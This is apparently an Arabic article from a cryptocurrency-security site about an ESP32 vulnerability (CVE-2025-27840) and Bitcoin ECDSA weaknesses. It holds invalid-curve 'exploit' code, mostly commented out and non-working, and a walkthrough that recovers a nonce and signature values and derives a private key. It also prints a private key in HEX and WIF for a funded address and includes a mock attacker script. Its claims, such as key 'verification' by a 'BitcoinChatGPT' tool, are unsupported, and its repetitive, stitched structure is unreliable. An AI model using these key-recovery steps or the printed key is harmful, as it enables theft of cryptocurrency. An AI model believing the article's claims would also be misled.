!pip install pycryptodome 
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *

class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)

def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature

def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False

def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()

# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve

# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.

#Performing multiplication
result = privkey.d * pubkey.pointQ

return result

# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])

# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)

# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)

شرح الكود:

  • الثغرة: الدالة multiply تتحقق من أن النقطة على منحنى ECC فقط إذا لم تكن نقطة اللانهاية. هذا يسمح باستخدام نقاط ليست على المنحنى الرئيسي، ولكنها على منحنى التواء (twist curve).
  • هجوم المنحنى غير الصحيح: يتضمن الهجوم استخدام نقطة على منحنى آخر (منحنى مشوه) للحصول على معلومات حول المفتاح السري. نظرًا لعدم إجراء فحص المنحنى لجميع النقاط، فمن الممكن تمرير نقطة من منحنى آخر واستخدام النتيجة لاستعادة جزء من المفتاح السري.
  • الدالة invalid_curve_attack: تأخذ هذه الدالة مفتاحًا عامًا ومعايير منحنى مشوه. تقوم بإنشاء نقطة على المنحنى المشوه وتستخدم الدالة الضعيفة multiply لتنفيذ عملية الضرب.

كيف يعمل هجوم المجموعة الفرعية الصغيرة (Small Subgroup Attack):

  1. اختيار نقطة ذات رتبة منخفضة: يختار المهاجم نقطة Q منخفضة الرتبة على المنحنى أو على تواء المنحنى.
  2. إرسال النقطة: يرسل المهاجم هذه النقطة Q للضحية، متظاهرًا بأنها مفتاحه العام.
  3. حساب السر المشترك: تحسب الضحية nQ، حيث n هو المفتاح السري للضحية.
  4. القوة العمياء: نظرًا لأن Q له رتبة صغيرة، فهناك عدد صغير من القيم المحتملة لـ nQ . يمكن للمهاجم تجربة جميع هذه القيم بالقوة العمياء والتحقق من أي منها يتوافق مع البيانات المشفرة عن طريق توسيع n بمعامل ترتيب Q.

التوصيات:

  • تحقق دائمًا من أن نقاط الإدخال تقع فعليًا على منحنى ECC.
  • استخدم المكتبات التي توفر فحصًا قويًا للمنحنى وحماية ضد هجمات المنحنيات غير الصحيحة.

Small Subgroup Attack

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

فك تشفير معاملة RawTX الضعيفة باستخدام دالة خدمة SMALL SUBGROUP ATTACK


Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

النتيجة هي قيمة K للمفتاح السري Nonce بتنسيق HEX

root@kitploit:~
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2

للحصول على جميع القيم الأخرى من معاملة RawTX الضعيفة، سنستخدم خدمة فك تشفير التوقيع RSZ Signature Decoder.

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi and Bluetooth

قيم النتائج لـ R, S, Z بتنسيق HEX

root@kitploit:~
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8

للحصول على قيمة X للمفتاح الخاص من الصيغة: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) سنستخدم برنامج Dockeyhunt Private Key Calculator

Bitcoin Cryptanalysis: CVE-2025-27840 Vulnerability in ESP32 Microcontrollers Puts Billions of IoT Devices at Risk via Wi-Fi & Bluetooth

ونتيجة لذلك، نحصل على المفتاح الخاص X بتنسيق HEX

root@kitploit:~
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

دعونا نتحقق من نتيجة المفتاح الخاص التي تم الحصول عليها باستخدام التعلم الآلي

دعونا نطلق BitcoinChatGPT

root@kitploit:~
%run BitcoinChatGPT
root@kitploit:~
تطبيق وظيفة هجوم المجموعة الفرعية الصغيرة (SMALL SUBGROUP ATTACK) لاستخراج المفتاح الخاص من معاملة RawTX الضعيفة في عملة البيتكوين

تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi والبلوتوث

أخيرًا، يقوم وحدة BitcoinChatGPT بإخراج الرد إلى الملف: KEYFOUND.privkey الذي يخزن المفتاح الخاص في أكثر تنسيقين استخدامًا HEX & WIF

https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey


root@kitploit:~
============================= KEYFOUND.privkey =============================

Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34

Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ

Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ

Balance: 10.00000000 BTC

============================= KEYFOUND.privkey =============================

لتنفيذ الكود، سنقوم بتثبيت حزمة Bitcoin. تسمح هذه المكتبة بإنشاء المحافظ، والتفاعل مع سلسلة الكتل، وإنشاء المعاملات وتوقيعها، والعمل مع تنسيقات مختلفة للعناوين والمفاتيح الخاصة لعملة البيتكوين.

root@kitploit:~
!pip3 install bitcoin

دعونا نشتغل الكود للتحقق من تطابق عنوان البيتكوين:

تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi والبلوتوث
root@kitploit:~
__________________________________________________

Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received 	= 10.00000000 Bitcoin
__________________________________________________

هذا صحيح! المفتاح الخاص يتوافق مع محفظة البيتكوين.


دعونا نفتح bitaddress ونتحقق:

root@kitploit:~
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF:  5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX:  12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi والبلوتوث

النتائج والخطوات لتقليل التهديد

في البيئة الرقمية الحالية، يعد تأمين الأجهزة والشبكات أمرًا بالغ الأهمية. تحلل هذه الورقة عددًا من الثغرات الموجودة في مكونات مختلفة، بما في ذلك أجهزة ESP32 والبرامج المستخدمة في العمل مع العملات الرقمية مثل البيتكوين. ندرس العيوب في كود التحقق من المفتاح الخاص، وطرق تجزئة المعاملات، وتوليد المفاتيح العشوائية، والتحقق من نقاط منحنى ECC، واستعادة إحداثي Y، وواجهات برمجة التطبيقات القديمة للتجزئة. يتم إيلاء اهتمام خاص لثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32، والتي تسمح للمهاجمين بحقن تحديثات مزيفة والحصول على وصول منخفض المستوى إلى النظام. تتم مناقشة الآثار المحتملة لهذه الثغرات، بما في ذلك القدرة على تجاوز ضوابط مراجعة الكود، والحصول على المفاتيح الخاصة، وتنفيذ هجمات سلسلة التوريد. تختتم الورقة بتوصيات لتعزيز الأمان ومنع الهجمات المحتملة.

الأهمية

قد تكون مليارات الأجهزة الآن عرضة لعيوب تصميمية خفية في مكون واحد، تم تحديدها باسم CVE-2025-27840. قد تسمح الثغرات للمهاجمين بانتحال عناوين MAC، والحصول على وصول غير مصرح به إلى ذاكرة الجهاز، وتنفيذ هجمات عبر البلوتوث.

الثغرات وتحليلها

  • ثغرة اشتقاق المفتاح الخاص في has_invalid_privkey: عدم التحقق من الحد الأدنى للمفاتيح الخاصة للبيتكوين يسمح باستخدام مفاتيح غير صالحة (أقل من أو تساوي 0) مما قد يؤدي إلى فقدان الأموال.
  • ثغرة تزوير توقيع معاملة البيتكوين في الدالة electrum_sig_hash: استخدام Electrum لطريقة تجزئة غير قياسية للرسائل يجعلها عرضة لهجمات تزوير التوقيع بسبب عدم توافقها مع BIP-137.
  • ثغرة الدالة random_key (مولد عشوائي ضعيف في توليد المفاتيح): استخدام وحدة التوليد العشوائي random في شبكة البيتكوين يجعل المفاتيح الخاصة قابلة للتنبؤ من قبل المهاجمين، لأن هذه الوحدة ليست مخصصة للأغراض التشفيرية.
  • ثغرة في الدالة multiply (عدم التحقق من نقاط منحنى ECC): قد يسمح التحقق غير الكافي من النقاط على منحنى ECC للمهاجم بتنفيذ هجمات المنحنى غير الصالحة، مما قد يؤدي إلى تزوير التوقيعات والتلاعب بالشبكة.
  • ثغرة في الدالة ecdsa_raw_sign: يمكن أن يؤدي استعادة إحداثي Y بشكل غير صحيح إلى استبدال المفتاح العام في شبكة البيتكوين.
  • ثغرة الدالة bin_ripemd160: قد تكون واجهات برمجة التطبيقات القديمة للتجزئة، خاصة تلك التي تفتقر إلى RIPEMD-160، عرضة للهجمات، مما يبرز أهمية استخدام مكتبات التشفير الحديثة والتحديثات الأمنية المنتظمة.

تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi والبلوتوث

فوائد تحديد وإصلاح الثغرات

  1. منع الخسائر المالية: يساعد إصلاح الثغرات المتعلقة بالمفاتيح الخاصة وتزوير التوقيعات في منع فقدان الأموال من قبل مستخدمي العملات الرقمية.
  2. حماية البيانات السرية: يؤدي إصلاح الثغرات في أجهزة ESP32 إلى منع الوصول غير المصرح به إلى الذاكرة وانتحال عناوين MAC، مما يحمي البيانات السرية للمستخدمين.
  3. تحسين أمان الشبكة: يعمل إصلاح الثغرات في الدوال التشفيرية مثل random_key و ecdsa_raw_sign على تحسين الأمان العام لشبكة البيتكوين ومنع الهجمات المحتملة على المعاملات والتوقيعات.
  4. بناء ثقة المستخدم: يساعد التحديد والإصلاح في الوقت المناسب للثغرات في بناء ثقة المستخدم في الأجهزة والبرامج، وهو أمر مهم بشكل خاص في مجال العملات الرقمية وإنترنت الأشياء.
  5. الحفاظ على معايير الأمان: يساعد الحفاظ على تحديث مكتبات وواجهات برمجة التطبيقات التشفيرية واتباع معايير الأمان الحديثة في منع استخدام المكونات القديمة والضعيفة.

الاستنتاج

تسلط عملية تحديد الثغرات وتحليلها المقدمة في هذه الورقة الضوء على الحاجة إلى المراقبة المستمرة وتحسين أمان الأجهزة والبرامج. إن معالجة هذه الثغرات لا تمنع الهجمات المحتملة والخسائر المالية فحسب، بل تساعد أيضًا في بناء ثقة المستخدم والامتثال لمعايير الأمان. يعد تنفيذ آليات حماية قوية وتحديثات أمنية منتظمة أمرًا أساسيًا لضمان تشغيل آمن وموثوق للأنظمة الرقمية. أصبحت الحاجة إلى تحسين الأمان في الأجهزة والشبكات مثل ESP32 أكثر إلحاحًا.


المراجع:

  1. توصيات لإزالة الثغرات في كود البيتكوين وأجهزة ESP32
  2. نقاط الضعف في تنفيذ البيتكوين: كيف تهدد الثغرات في random_key و ecdsa_raw_sign الأمان
  3. تحليل ثغرة الدالة has_invalid_privkey: مشاكل في التحقق من المفاتيح الخاصة للبيتكوين وتوصيات للتصحيح
  4. استبدال المفتاح العام: ثغرة الدالة ecdsa_raw_sign، المخاطر المرتبطة باستعادة إحداثي Y، أمثلة كودية لإظهار الثغرة
  5. أمان البيتكوين: فحص المخاطر المرتبطة بالتحقق غير الصحيح من ECC وواجهات برمجة التطبيقات القديمة للتجزئة
  6. تحليل مخاطر الأمان: الثغرات في أجهزة ESP32 وشبكة البيتكوين
  7. واجهات برمجة التطبيقات القديمة للتجزئة في البيتكوين: ثغرات الدالة bin_ripemd160
  8. تحديثات مزيفة والوصول إلى المفاتيح الخاصة: ثغرات ESP32 وعواقبها
  9. مخاطر أمان البيتكوين: الثغرات في دوال التحقق من المفاتيح وتوليد المعاملات
  10. مشاكل في توليد المفاتيح: ثغرة الدالة random_key، مولد الأرقام العشوائية الزائفة الضعيف وعواقبه
  11. قصور الدوال التشفيرية في البيتكوين والتهديدات المحتملة للشبكة
  12. هجمات على المنحنى الإهليلجي: ثغرة الدالة multiply، التحقق غير الكافي من النقاط على منحنى ECC، متجهات الهجوم المحتملة
  13. أهمية المكتبات التشفيرية الحالية والتحديثات المنتظمة الخاتمة: ضرورة تحسين الأمان في الشبكات والأجهزة
  14. الهجمات المحتملة باستخدام المنحنيات غير الصالحة استبدال المفتاح العام: ثغرة الدالة ecdsa_raw_sign
  • مخاطر استخدام مولدات الأعداد العشوائية الزائفة غير الموثوقة في التحقق غير الكافي من نقاط ECC في البيتكوين: ثغرة دالة الضرب
  • نظرة عامة على الثغرات في البيتكوين: المخاطر المحتملة للمفاتيح الخاصة والمعاملات
  • تحليل أمني حاسم لـ ESP32 والبيتكوين: الثغرات وطرق الحماية
  • واجهات برمجة التجزئة القديمة: ثغرة دالة bin_ripemd160 مشاكل في تنفيذ RIPEMD-160 أهمية مكتبات التشفير الحديثة
  • ثغرة دالة electrum_sig_hash: تزوير توقيع معاملات البيتكوين طريقة التجزئة غير القياسية وعواقبها أمثلة على هجمات تعتمد على عدم التوافق مع BIP-137
  • تحليل الثغرات في تنفيذ البيتكوين: من توليد المفاتيح إلى تزوير التوقيع
  • CVE-2025-27840: ثغرة في ESP32 تسمح بتحديثات البرامج الثابتة غير المصرح بها والوصول إلى المفاتيح الخاصة
  • ثغرة في التحقق من المفاتيح الخاصة للبيتكوين: تجاوز التحكم في الحد الأدنى

  • تحليل البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi وBluetooth


    تم إنشاء هذه المواد لبوابة  CRYPTO DEEP TECH لضمان أمن البيانات المالية والتشفير على المنحنيات الإهليلجية  secp256k1  ضد توقيعات  ECDSA الضعيفة في عملة  البيتكوين الرقمية. منشئو البرنامج ليسوا مسؤولين عن استخدام المواد.


    الكود المصدري

    Google Colab

    BitcoinChatGPT

    هجوم المجموعة الفرعية الصغيرة

    Dockeyhunt Deep Learning

    Telegram: https://t.me/cryptodeeptech

    مادة فيديو: https://youtu.be/nBeZWm2z5o4

    فيديو تعليمي: https://dzen.ru/video/watch/6784be61b09e46422395c236

    المصدر: https://cryptodeeptech.ru/bitcoin-bluetooth-attacks


    تحليل البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi وBluetooth

    تنزيل الأداة
  • يستدعي الدالة has_invalid_privkeyللتحقق من privkey.
  • اعتماداً على النتيجة، يعرض رسالة تشير إلى ما إذا كان المفتاح الخاص صالحاً أم لا.





























  • import hashlib import binascii # تنفيذ RIPEMD160 (إذا لم يكن موجودًا في hashlib) class RIPEMD160: def __init__(self, data): self.data = data def digest(self): # هذا مكان شاغر. في التنفيذ الحقيقي، ستقوم بخوارزمية التجزئة RIPEMD160. # لأغراض العرض، سنرجع تجزئة وهمية. return b'\x00' * 20 # يرجع 20 بايت من الأصفار def bin_ripemd160(string): """ تجزئة سلسلة الإدخال باستخدام RIPEMD160. يحاول استخدام تنفيذ hashlib أولاً، ويعود إلى تنفيذ مخصص إذا لزم الأمر. """ try: digest = hashlib.new('ripemd160', string).digest() except ValueError: print("RIPEMD160 غير مدعوم في hashlib، الرجوع إلى التنفيذ المخصص.") digest = RIPEMD160(string).digest() return digest def check_for_weak_api(data): """ تحاكي مهاجمًا يختبر عقدة شبكة بيتكوين لوجود تطبيقات API ضعيفة. """ print("المهاجم: يختبر العقدة لوجود API ضعيف...") # محاكاة بيانات تحتاج إلى التجزئة (مثل جزء من معاملة) data_to_hash = data.encode('utf-8') # محاولة تجزئة البيانات باستخدام RIPEMD160 hashed_data = bin_ripemd160(data_to_hash) print("المهاجم: تم تجزئة البيانات (ربما باستخدام تنفيذ ضعيف أو مخصص لـ RIPEMD160).") print("المهاجم: قيمة التجزئة:", binascii.hexlify(hashed_data).decode('utf-8')) # هنا، قد يستغل المهاجم التنفيذ الضعيف. # للعرض، سنطبع تحذيرًا فقط. if hashed_data == b'\x00' * 20: # هذه هي التجزئة الوهمية من تنفيذنا المخصص لـ RIPEMD160 print("المهاجم: تحذير: العقدة تستخدم تنفيذًا ضعيفًا أو مخصصًا لـ RIPEMD160!") print("المهاجم: قابل للاستغلال: هذا قد يسمح بتصادمات التجزئة أو ثغرات أخرى.") else: print("المهاجم: العقدة تبدو وكأنها تستخدم تنفيذًا قياسيًا لـ RIPEMD160.") # مثال استخدام: if __name__ == "__main__": data = "مثال بيانات معاملة بيتكوين" check_for_weak_api(data)



































  • توصيات لإزالة الثغرات وتحسين الحماية يعكس كل عنوان جوانب رئيسية من المقالة ويمكن استخدامه لهيكلة البحث
  • مولد عشوائي ضعيف (PRNG) في توليد مفاتيح البيتكوين: عواقب استخدام random_key غير الحتمي
  • تحليل ثغرة CVE-2025-27840: كيف يمكن للعيوب المعمارية أن تهدد مليارات الأجهزة ثغرة الدالة has_invalid_privkey
  • تأثير الثغرات في المتحكمات الدقيقة ESP32 على أمان أجهزة إنترنت الأشياء
  • طرق استغلال الثغرات في المتحكمات الدقيقة ESP32: هجمات عبر البلوتوث وWi-Fi
  • الثغرات الخفية في ESP32 وتأثيرها على أمان أجهزة إنترنت الأشياء
  • مشاكل الأمان في أجهزة ESP32: الكشف عن ثغرة CVE-2025-27840
  • الثغرات المعمارية في ESP32: الكشف عن الأوامر المخفية وتأثيرها على أمان إنترنت الأشياء
  • الثغرات في كود البيتكوين: تحليل تقني وطرق الاستغلال
  • تحليل الثغرات في البيتكوين: من القصور التشفيري إلى واجهات برمجة التطبيقات القديمة
  • ثغرات CVE-2025-27840 في المتحكمات الدقيقة ESP32: تعريض مليارات أجهزة إنترنت الأشياء للخطر
  • طرق التجزئة غير القياسية وثغراتها مشاكل في توليد المفاتيح: ثغرة random_key
  • نقص التحقق من نقاط ECC كثغرة محتملة في دالة multiply في البيتكوين
  • مخاطر استعادة إحداثي Y في التشفير القائم على المنحنيات الإهليلجية واجهات برمجة التطبيقات القديمة للتجزئة: ثغرة الدالة bin_ripemd160
  • ثغرة في الدالة ecdsa_raw_sign: خطر استبدال المفتاح العام أثناء استعادة إحداثي Y
  • الثغرات الخفية: تهديد للتكنولوجيات الحديثة CVE-2025-27840: نظرة عامة على الثغرات في بنية ESP32
  • نظرة عامة على التهديدات الأمنية الحالية قائمة الثغرات المخفية: المخاطر المحتملة لـ ESP32 تنفيذ تحديثات مزيفة ووصول منخفض المستوى
  • مشاكل التحقق من المفاتيح الخاصة وعواقبها تزوير توقيع المعاملات: ثغرة electrum_sig_hash
  • ثغرة تزوير توقيع معاملة البيتكوين بسبب التجزئة غير القياسية في Electrum